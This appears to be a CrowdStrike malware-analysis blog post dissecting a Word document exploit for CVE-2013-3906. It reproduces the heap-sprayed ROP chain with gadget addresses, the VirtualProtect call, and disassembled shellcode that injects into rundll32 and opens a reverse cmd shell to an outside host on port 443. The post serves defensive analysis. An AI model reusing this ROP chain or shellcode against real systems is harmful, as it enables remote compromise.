Analysis of a CVE-2013-3906 Exploit

Many of CrowdStrike’s customers are often targeted by email phishing campaigns and strategic web compromises (also known as watering-hole attacks). These attacks use exploits to take advantage of vulnerable unpatched software installed on the victim’s computer. If an exploit is successful, then it will run an attacker’s payload, which will typically install malware bundled with the exploit itself and/or download malware from a remote server.

If you’re in charge of defending your enterprise’s network and you know that an adversary is sending your employees malicious email attachments, you would want to know the exploits’ payload functionality. For example, if you know that your company was targeted by an exploit whose payload communicates with http://evil.example.com, you’d want to ensure that your network’s IDS/IPS systems detect and prevent communication with that remote server. While antivirus products can often detect these exploits, these products won’t tell the user what the exploit’s payload is actually designed to do:

Security software that tries to determine a payload’s functionality via emulation or a sandbox will sometimes work, but it still requires knowledge of the exploit’s targeted environment, as the exploit may work in one system configuration but not another.

In-depth analysis of these threats is where CrowdStrike comes into play, where we focus on intelligence-driven security. Knowing that a computer received a phishing attempt is only half the battle -- the other half is knowing the functionality of the adversary’s payload. We were recently notified of a new Microsoft Word document that exploits CVE-2013-3906. While this is certainly the first blog post to discuss this vulnerability and related exploits, we want to be the first to show you an end-to-end walkthrough of a CVE-2013-3906 exploit analysis with a detailed focus on the payload. Research When we received the malicious Word document, we already knew that it contained an exploit for CVE-2013-3906. For one, we developed a YARA rule for CVE-2013-3906 exploits when Microsoft first announced the vulnerability, and this YARA rule detected the Word document immediately. And secondly, this document was already detected by 12 AV engines when it was released into the wild (though 32 other AV engines did not detect the file). When analyzing any file that contains an exploit, the most difficult part of the task is typically in finding the actual payload code. There are three main approaches for this stage of the analysis:
  1. Statically search for shellcode in the exploit file This can be difficult if the file is very large or if the file contains obfuscated shellcode
  2. Understand the vulnerability well enough to know where the payload would exist in the exploit file This requires the vulnerability to be well documented, or it requires the researcher to analyze the vulnerability from scratch, which can be very time consuming
  3. Attempt to dynamically execute the exploit and its payload This works well as long as the exploit actually works in the dynamic analysis environment and a breakpoint can be set during some point of the exploit execution or payload execution
Given that a full vendor explanation was not

 

available for this vulnerability, we opted to use approach #3 for the sake of efficiency.
The

 

Metasploit module for this exploit

 

shows the following crash information:

Based on this data, we can assume that the exploit is used to control register EAX and hijack the function OGL!GdipCreatePath (the comments in the Metasploit module more-or-less confirm this).

According to Microsoft, Office 2010 on Windows XP SP3 is vulnerable to this security issue, so we can use that configuration for our analysis environment to trigger the exploit, and we can make changes along the way if we find that the exploit requires a different configuration for the payload to run. Running the Exploit To investigate the exploit’s execution, we run Microsoft Word 2010 in a debugger on Windows XP SP3 and set a breakpoint on the CALL DWORD PTR DS: line in the OGL!GdipCreatePath function that was shown in the crash snippet above. Once the breakpoint is set, we open the malicious document in the running Word process and we see that our breakpoint gets hit:

However, we can see in OllyDbg’s hint pane that points to OGL.44024C6E, an address in Microsoft Office’s OGL.DLL module. This surely isn’t the result of a hijacked EAX value, and if we have the debugger continue execution of the process, we see that the breakpoint gets hit again with the same value for EAX(0x440583A8); this will actually be the value of EAX for many breakpoint hits at this address. We’re only interested in the case where EAX is hijacked by the exploit to point somewhere interesting, so we can replace our current breakpoint with a conditional breakpoint:

With our conditional breakpoint now set, we can continue execution of the process, during which we’ll break at the following point:

We can see above that now points to an address in msvcrt.dll. Below, we can see that the instruction at that address in msvcrt.dll acts as a stack pivot, setting the stack pointer to the value of EAX (0x200F06B0).

The result of the stack pivot can be seen in OllyDbg’s stack pane below, with the RETN instruction returning to 0x77C34FBF (the address on the top of the stack):

As can be seen below, the instruction at 0x77C34FBF POPs the stack value after 0x77C34FBF

 

into ESP, causing the stack pointer to point to 0x52537A6E, which is an invalid (unmapped) address:

If we were to continue execution, the Word process would crash, leaving the rest of the payload unexecuted. Based on these results, it is apparent that either the exploit is broken, or it is meant for a different environment than our test environment. In either case, we’d still like to know the intent of the payload, so we need to take a closer look at the memory region containing the pivoted stack:

As can be seen above, this heap memory region contains a 0x700-byte “header”, followed by a spray of 0x400 bytes (highlighted in gray), repeating 512 times. We can actually see this heap spray (of size 0x00081000 bytes) repeated throughout several heap memory regions:

This heap spray is a result of all of the activeX*.bin files embedded in the Word document, each of which contains the 512 occurrences of the 0x400-byte ROP-chain block highlighted above:

The stack pivot that occurred during our testing above resulted in a new stack pointer of 0x200F06B0. However, this value is 0x3B0 bytes into one of the repeated ROP-chain blocks (0x50 bytes before the beginning of the next ROP-chain block). Common sense would suggest that the ROP-chain execution was meant to begin at the beginning of the ROP-chain block, not 0x3B0 bytes into it.

We can test this hypothesis by running the exploit back through OllyDbg, and this time changing the value of ESP before executing the RETN instruction after the stack pivot to point to the beginning of the next ROP-chain block:

Note that we use 0x200F0704 instead of 0x200F0700, since 0x200F0700 points to the stack pivot instruction that was just executed.

Now when we step through the ROP-chain, we see the following instructions executed:

ESP Before Previous RETN

Virtual Addresses of Instructions

Instructions

Comments

0x200F0704

0x77C3B860

0x77C3B861

POP EAX

RETN

EAX = 0xFFFFFFFF

0x200F070C

0x77C1BE18

0x77C1BE1A

0x77C1BE1B

NEG EAX

POP EBP

RETN

EAX = 0x00000001

EBP = 0x84CBC460

0x200F0714

0x77C2362C

0x77C2362D

POP EBX

RETN

EBX = 0x77C5D9BB

0x200F071C

0x77C2E071

0x77C2E072

0x77C2E074

XCHG EAX, EBX

ADD BYTE PTR DS:, AL

RETN

EAX = 0x77C5D9BB

EBX = 0x00000001

0x200F0720

0x77C50D13

0x77C50D14

POP EDX

RETN

EDX = 0xFFFFFFC0

0x200F0728

0x77C58FBC

0x77C58FBD

XCHG EAX, EDX

RETN

EAX = 0xFFFFFFC0

EDX = 0x77C5D9BB

0x200F072C

0x77C1BE18

0x77C1BE1A

0x77C1BE1B

NEG EAX

POP EBP

RETN

EAX = 0x00000040

EBP = 0x6C5BA53B

0x200F0734

0x77C58FBC

0x77C58FBD

XCHG EAX, EDX

RETN

EAX = 0x77C5D9BB

EDX = 0x00000040

0x200F0738

0x77C3EE15

0x77C3EE16

POP EBP

RETN

EBP = 0x77C3EE15

0x200F0740

0x77C3EEEF

0x77C3EEF0

POP ECX

RETN

ECX = 0x77C5D9BB

0x200F0748

0x77C2A88C

0x77C2A88D

POP EDI

RETN

EDI = 0x77C39F92

0x200F0750

0x77C3A184

0x77C3A185

POP ESI

RETN

ESI = 0x77C2AACC

0x200F0758

0x77C3B860

0x77C3B861

POP EAX

RETN

EAX = 0x77C11120 (VirtalProtect)

0x200F0760

0x77C12DF9

0x77C12DFA

PUSHAD

RETN

PUSH EAX, ECX, EDX, EBX, ESP, EBP, ESI, AND EDI

0x200F0744

0x77C39F92

RETN

0x200F0748

0x77C2AACC

JMP DWORD PTR DS:

VirtualProtect(

 

 

 

0x200F0764,

 

 

 

0x00000001,

 

 

 

0x00000040 ,

 

 

 

0x77C5D9BB)

This makes the page containing address 0x200F0764 executable

0x200F074C

0x77C3EE15

0x77C3EE16

POP EBP

RETN

EBP = 0x77C11120 (VirtalProtect)

0x200F0764

0x77C35459

0x77C3545A

PUSH ESP

RETN

Jumps to shellcode at 0x200F0768

The hard-coded addresses in the ROP-chain target msvcrt.dll version 7.0.2600.5512 (specific to Windows XP SP3), and while the ROP-chain is similar to public ROP-chains, it contains a few different ROP-gadgets, perhaps to subvert security software that would otherwise detect the publicly documented ROP-chains.

The shellcode at 0x200F0768 begins with a loop to XOR the obfuscated shellcode, followed by a Metasploit-based payload:

seg000:200F0768

 

 

 

 

 

 

 

 

mov

 

 

 

 

eax, large fs:18h

seg000:200F076E

 

 

 

 

 

 

 

 

add

 

 

 

 

eax, 8

seg000:200F0771

 

 

 

 

 

 

 

 

mov

 

 

 

 

esp,

seg000:200F0773

 

 

 

 

 

 

 

 

add

 

 

 

 

esp, 0FFFFF830h

seg000:200F0779

 

 

 

 

 

 

 

 

fcmovu

 

st, st(5)

seg000:200F077B

 

 

 

 

 

 

 

 

mov

 

 

 

 

eax, 0A7E745ABh

seg000:200F0780

 

 

 

 

 

 

 

 

fnstenv byte ptr

seg000:200F0784

 

 

 

 

 

 

 

 

pop

 

 

 

 

ebx

seg000:200F0785

 

 

 

 

 

 

 

 

sub

 

 

 

 

ecx, ecx

seg000:200F0787

 

 

 

 

 

 

 

 

mov

 

 

 

 

cl, 75h ; 'u'

seg000:200F0789

 

 

 

 

 

 

 

 

xor

 

 

 

 

, eax

seg000:200F078C

 

 

 

 

 

 

 

 

add

 

 

 

 

eax,

seg000:200F078F

 

 

 

 

 

 

 

 

add

 

 

 

 

ebx, 4

seg000:200F0792

 

 

 

 

 

 

 

 

loop

 

 

 

loc_200F0789

seg000:200F0794

 

 

 

 

 

 

 

 

cld

seg000:200F0795

 

 

 

 

 

 

 

 

jmp

 

 

 

 

loc_200F0820

seg000:200F0820

 

 

 

 

 

 

 

 

call

 

 

 

sub_200F079A

seg000:200F079A

 

 

 

 

 

 

 

 

pop

 

 

 

 

ebp

seg000:200F079B

 

 

 

 

 

 

 

 

add

 

 

 

 

ebp, 0Bh

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; ebp now points to api_call

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; hash lookup table can be found here

seg000:200F079E

 

 

 

 

 

 

 

 

add

 

 

 

 

esp, 0FFFFFE70h

seg000:200F07A4

 

 

 

 

 

 

 

 

lea

 

 

 

 

edx,

seg000:200F07A8

 

 

 

 

 

 

 

 

push

 

 

 

edx

seg000:200F07A9

 

 

 

 

 

 

 

 

push

 

 

 

0B16B4AB1h

seg000:200F07AE

 

 

 

 

 

 

 

 

call

 

 

 

ebp

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; GetStartupInfoA(&startupInfo)

seg000:200F07B0

 

 

 

 

 

 

 

 

lea

 

 

 

 

eax,

seg000:200F07B4

 

 

 

 

 

 

 

 

jmp

 

 

 

 

short loc_200F0812

seg000:200F0812

 

 

 

 

 

 

 

 

call

 

 

 

sub_200F07B6

seg000:200F0817 aRundll32 db 'rundll32',0

seg000:200F07B6

 

 

 

 

 

 

 

 

pop

 

 

 

 

esi

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; esi = "rundll32"

seg000:200F07B7

 

 

 

 

 

 

 

 

lea

 

 

 

 

edi,

seg000:200F07BA

 

 

 

 

 

 

 

 

push

 

 

 

edi

seg000:200F07BB

 

 

 

 

 

 

 

 

push

 

 

 

eax

seg000:200F07BC

 

 

 

 

 

 

 

 

xor

 

 

 

 

ebx, ebx

seg000:200F07BE

 

 

 

 

 

 

 

 

push

 

 

 

ebx

seg000:200F07BF

 

 

 

 

 

 

 

 

push

 

 

 

ebx

seg000:200F07C0

 

 

 

 

 

 

 

 

push

 

 

 

8000004h

seg000:200F07C5

 

 

 

 

 

 

 

 

push

 

 

 

ebx

seg000:200F07C6

 

 

 

 

 

 

 

 

push

 

 

 

ebx

seg000:200F07C7

 

 

 

 

 

 

 

 

push

 

 

 

ebx

seg000:200F07C8

 

 

 

 

 

 

 

 

push

 

 

 

esi

seg000:200F07C9

 

 

 

 

 

 

 

 

push

 

 

 

ebx

seg000:200F07CA

 

 

 

 

 

 

 

 

push

 

 

 

863FCC79h

seg000:200F07CF

 

 

 

 

 

 

 

 

call

 

 

 

ebp

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; CreateProcessA(NULL, "rundll32", NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &startupInfo, &processInfo)

seg000:200F07D1

 

 

 

 

 

 

 

 

test

 

 

 

eax, eax

seg000:200F07D3

 

 

 

 

 

 

 

 

jz

 

 

 

 

 

short loc_200F082A

seg000:200F07D5

 

 

 

 

 

 

 

 

push

 

 

 

40h ; '@'

seg000:200F07D7

 

 

 

 

 

 

 

 

add

 

 

 

 

bh, 10h

seg000:200F07DA

 

 

 

 

 

 

 

 

push

 

 

 

ebx

seg000:200F07DB

 

 

 

 

 

 

 

 

push

 

 

 

ebx

seg000:200F07DC

 

 

 

 

 

 

 

 

xor

 

 

 

 

ebx, ebx

seg000:200F07DE

 

 

 

 

 

 

 

 

push

 

 

 

ebx

seg000:200F07DF

 

 

 

 

 

 

 

 

push

 

 

 

dword ptr

seg000:200F07E1

 

 

 

 

 

 

 

 

push

 

 

 

3F9287AEh

seg000:200F07E6

 

 

 

 

 

 

 

 

call

 

 

 

ebp

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; VirtualAllocEx(processInfo.hProcess, NULL, 0x00001000, MEM_COMMIT, PAGE_EXECUTE_READWRITE)

seg000:200F07E8

 

 

 

 

 

 

 

 

push

 

 

 

esp

seg000:200F07E9

 

 

 

 

 

 

 

 

push

 

 

 

13Ah

seg000:200F07EE

 

 

 

 

 

 

 

 

jmp

 

 

 

 

short loc_200F0825

seg000:200F0825

 

 

 

 

 

 

 

 

call

 

 

 

sub_200F07F0

seg000:200F07F0

 

 

 

 

 

 

 

 

push

 

 

 

eax

seg000:200F07F1

 

 

 

 

 

 

 

 

push

 

 

 

dword ptr

seg000:200F07F3

 

 

 

 

 

 

 

 

push

 

 

 

0E7BDD8C5h

seg000:200F07F8

 

 

 

 

 

 

 

 

call

 

 

 

ebp

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; WriteProcessMemory(processInfo.hProcess, <allocated address>, 0x200F082A, 0x0000013A, <stack address>)

seg000:200F07FA

 

 

 

 

 

 

 

 

push

 

 

 

ebx

seg000:200F07FB

 

 

 

 

 

 

 

 

push

 

 

 

ebx

seg000:200F07FC

 

 

 

 

 

 

 

 

push

 

 

 

ebx

seg000:200F07FD

 

 

 

 

 

 

 

 

mov

 

 

 

 

ecx,

seg000:200F0801

 

 

 

 

 

 

 

 

push

 

 

 

ecx

seg000:200F0802

 

 

 

 

 

 

 

 

push

 

 

 

ebx

seg000:200F0803

 

 

 

 

 

 

 

 

push

 

 

 

ebx

seg000:200F0804

 

 

 

 

 

 

 

 

push

 

 

 

dword ptr

seg000:200F0806

 

 

 

 

 

 

 

 

push

 

 

 

799AACC6h

seg000:200F080B

 

 

 

 

 

 

 

 

call

 

 

 

ebp

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; CreateRemoteThread(processInfo.hProcess, NULL, 0x00000000, <allocated address>, NULL, 0x00000000, NULL)

seg000:200F080D

 

 

 

 

 

 

 

 

jmp

 

 

 

 

loc_200F0945

seg000:200F0945

 

 

 

 

 

 

 

 

mov

 

 

 

 

ebx, 56A2B5F0h

seg000:200F094A

 

 

 

 

 

 

 

 

push

 

 

 

9DBD95A6h

seg000:200F094F

 

 

 

 

 

 

 

 

call

 

 

 

ebp

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; GetVersion()

seg000:200F0951

 

 

 

 

 

 

 

 

cmp

 

 

 

 

al, 6

seg000:200F0953

 

 

 

 

 

 

 

 

jl

 

 

 

 

 

short loc_200F095F

seg000:200F0955

 

 

 

 

 

 

 

 

cmp

 

 

 

 

bl, 0E0h ; 'a'

seg000:200F0958

 

 

 

 

 

 

 

 

jnz

 

 

 

 

short loc_200F095F

seg000:200F095A

 

 

 

 

 

 

 

 

mov

 

 

 

 

ebx, 6F721347h

seg000:200F095F

 

 

 

 

 

 

 

 

push

 

 

 

0

seg000:200F0961

 

 

 

 

 

 

 

 

push

 

 

 

ebx

seg000:200F0962

 

 

 

 

 

 

 

 

call

 

 

 

ebp

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; ExitProcess(0) or RtlExitUserThread(0)

The shellcode above runs the program “rundll32” as a suspended process, injects code into that process, and creates a new thread in that process to run the injected code. The injected code is as follows, based on the reverse_tcp module and the shell module from Metasploit:

seg000:200F082A

 

 

 

 

 

 

 

 

cld

seg000:200F082B

 

 

 

 

 

 

 

 

call

 

 

 

sub_200F08B9

seg000:200F08B9

 

 

 

 

 

 

 

 

pop

 

 

 

 

ebp

seg000:200F08BA

 

 

 

 

 

 

 

 

push

 

 

 

'23'

seg000:200F08BF

 

 

 

 

 

 

 

 

push

 

 

 

'_2sw'

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; "ws2_32"

seg000:200F08C4

 

 

 

 

 

 

 

 

push

 

 

 

esp

seg000:200F08C5

 

 

 

 

 

 

 

 

push

 

 

 

726774Ch

seg000:200F08CA

 

 

 

 

 

 

 

 

call

 

 

 

ebp

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; LoadLibraryA("ws2_32")

seg000:200F08CC

 

 

 

 

 

 

 

 

mov

 

 

 

 

eax, 190h

seg000:200F08D1

 

 

 

 

 

 

 

 

sub

 

 

 

 

esp, eax

seg000:200F08D3

 

 

 

 

 

 

 

 

push

 

 

 

esp

seg000:200F08D4

 

 

 

 

 

 

 

 

push

 

 

 

eax

seg000:200F08D5

 

 

 

 

 

 

 

 

push

 

 

 

6B8029h

seg000:200F08DA

 

 

 

 

 

 

 

 

call

 

 

 

ebp

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; WSAStartup(MAKEWORD(0x90, 0x01), &wsaData)

seg000:200F08DC

 

 

 

 

 

 

 

 

push

 

 

 

eax

seg000:200F08DD

 

 

 

 

 

 

 

 

push

 

 

 

eax

seg000:200F08DE

 

 

 

 

 

 

 

 

push

 

 

 

eax

seg000:200F08DF

 

 

 

 

 

 

 

 

push

 

 

 

eax

seg000:200F08E0

 

 

 

 

 

 

 

 

inc

 

 

 

 

eax

seg000:200F08E1

 

 

 

 

 

 

 

 

push

 

 

 

eax

seg000:200F08E2

 

 

 

 

 

 

 

 

inc

 

 

 

 

eax

seg000:200F08E3

 

 

 

 

 

 

 

 

push

 

 

 

eax

seg000:200F08E4

 

 

 

 

 

 

 

 

push

 

 

 

0E0DF0FEAh

seg000:200F08E9

 

 

 

 

 

 

 

 

call

 

 

 

ebp

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; WSASocketA(AF_INET, SOCK_STREAM, 0, NULL, 0, 0)

seg000:200F08EB

 

 

 

 

 

 

 

 

mov

 

 

 

 

edi, eax

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; edi = eax = s

seg000:200F08ED

 

 

 

 

 

 

 

 

push

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; sin.sin_addr =

seg000:200F08F2

 

 

 

 

 

 

 

 

push

 

 

 

0BB010002h

 

 

 

 

 

 

 

 

 

 

 

 

 

; sin.sin_port = 443

seg000:200F08F2

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; sin.sin_family = AF_INET

seg000:200F08F7

 

 

 

 

 

 

 

 

mov

 

 

 

 

esi, esp

seg000:200F08F9

 

 

 

 

 

 

 

 

push

 

 

 

10h

seg000:200F08FB

 

 

 

 

 

 

 

 

push

 

 

 

esi

seg000:200F08FC

 

 

 

 

 

 

 

 

push

 

 

 

edi

seg000:200F08FD

 

 

 

 

 

 

 

 

push

 

 

 

6174A599h

seg000:200F0902

 

 

 

 

 

 

 

 

call

 

 

 

ebp

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; connect(s, &sin, 16)

seg000:200F0904

 

 

 

 

 

 

 

 

push

 

 

 

'dmc'

seg000:200F0909

 

 

 

 

 

 

 

 

mov

 

 

 

 

ebx, esp

seg000:200F090B

 

 

 

 

 

 

 

 

push

 

 

 

edi

seg000:200F090C

 

 

 

 

 

 

 

 

push

 

 

 

edi

seg000:200F090D

 

 

 

 

 

 

 

 

push

 

 

 

edi

seg000:200F090E

 

 

 

 

 

 

 

 

xor

 

 

 

 

esi, esi

seg000:200F0910

 

 

 

 

 

 

 

 

push

 

 

 

12h

seg000:200F0912

 

 

 

 

 

 

 

 

pop

 

 

 

 

ecx

seg000:200F0913

 

 

 

 

 

 

 

 

push

 

 

 

esi

seg000:200F0914

 

 

 

 

 

 

 

 

loop

 

 

 

loc_200F0913

seg000:200F0916

 

 

 

 

 

 

 

 

mov

 

 

 

 

word ptr , 101h

seg000:200F091D

 

 

 

 

 

 

 

 

lea

 

 

 

 

eax,

seg000:200F0921

 

 

 

 

 

 

 

 

mov

 

 

 

 

byte ptr , 44h

seg000:200F0924

 

 

 

 

 

 

 

 

push

 

 

 

esp

seg000:200F0925

 

 

 

 

 

 

 

 

push

 

 

 

eax

seg000:200F0926

 

 

 

 

 

 

 

 

push

 

 

 

esi

seg000:200F0927

 

 

 

 

 

 

 

 

push

 

 

 

esi

seg000:200F0928

 

 

 

 

 

 

 

 

push

 

 

 

esi

seg000:200F0929

 

 

 

 

 

 

 

 

inc

 

 

 

 

esi

seg000:200F092A

 

 

 

 

 

 

 

 

push

 

 

 

esi

seg000:200F092B

 

 

 

 

 

 

 

 

dec

 

 

 

 

esi

seg000:200F092C

 

 

 

 

 

 

 

 

push

 

 

 

esi

seg000:200F092D

 

 

 

 

 

 

 

 

push

 

 

 

esi

seg000:200F092E

 

 

 

 

 

 

 

 

push

 

 

 

ebx

seg000:200F092F

 

 

 

 

 

 

 

 

push

 

 

 

esi

seg000:200F0930

 

 

 

 

 

 

 

 

push

 

 

 

863FCC79h

seg000:200F0935

 

 

 

 

 

 

 

 

call

 

 

 

ebp

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, &startupInfo, &processInfo)

seg000:200F0937

 

 

 

 

 

 

 

 

mov

 

 

 

 

eax, esp

seg000:200F0939

 

 

 

 

 

 

 

 

dec

 

 

 

 

esi

seg000:200F093A

 

 

 

 

 

 

 

 

push

 

 

 

esi

seg000:200F093B

 

 

 

 

 

 

 

 

inc

 

 

 

 

esi

seg000:200F093C

 

 

 

 

 

 

 

 

push

 

 

 

dword ptr

seg000:200F093E

 

 

 

 

 

 

 

 

push

 

 

 

601D8708h

seg000:200F0943

 

 

 

 

 

 

 

 

call

 

 

 

ebp

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; WaitForSingleObject(processInfo.hProcess, INFINITE)

seg000:200F0945

 

 

 

 

 

 

 

 

mov

 

 

 

 

ebx, 56A2B5F0h

seg000:200F094A

 

 

 

 

 

 

 

 

push

 

 

 

9DBD95A6h

seg000:200F094F

 

 

 

 

 

 

 

 

call

 

 

 

ebp

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; GetVersion()

seg000:200F0951

 

 

 

 

 

 

 

 

cmp

 

 

 

 

al, 6

seg000:200F0953

 

 

 

 

 

 

 

 

jl

 

 

 

 

 

short loc_200F095F

seg000:200F0955

 

 

 

 

 

 

 

 

cmp

 

 

 

 

bl, 0E0h ; 'a'

seg000:200F0958

 

 

 

 

 

 

 

 

jnz

 

 

 

 

short loc_200F095F

seg000:200F095A

 

 

 

 

 

 

 

 

mov

 

 

 

 

ebx, 6F721347h

seg000:200F095F

 

 

 

 

 

 

 

 

push

 

 

 

0

seg000:200F0961

 

 

 

 

 

 

 

 

push

 

 

 

ebx

seg000:200F0962

 

 

 

 

 

 

 

 

call

 

 

 

ebp

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; ExitProcess(0) or RtlExitUserThread(0)

This injected code creates a reverse shell to a hard-coded remote IP address ( above) on TCP port 443. Summary The adversary appears to have used three Metasploit modules to piece together this malicious Word document. We discussed problems with typical antivirus software, in particular the limited information that such software provides to the user regarding detected threats. We described different approaches that can be used to analyze the payload of a file containing an exploit. And we did a deep dive on the dynamic analysis approach, during which we manually fixed the exploit so that we could decode and analyze the payload’s functionality.

With the adversary’s IP address discovered, CrowdStrike was able to notify our customers to help them better defend their networks. We were able to provide them with actionable intelligence that would not have been available to them with traditional security software.

For more information on this exploit or the adversaries using it, including detection logic or any of the adversaries tracked by CrowdStrike, please contact: intelligence@crowdstrike.com and inquire about our Intelligence subscription.
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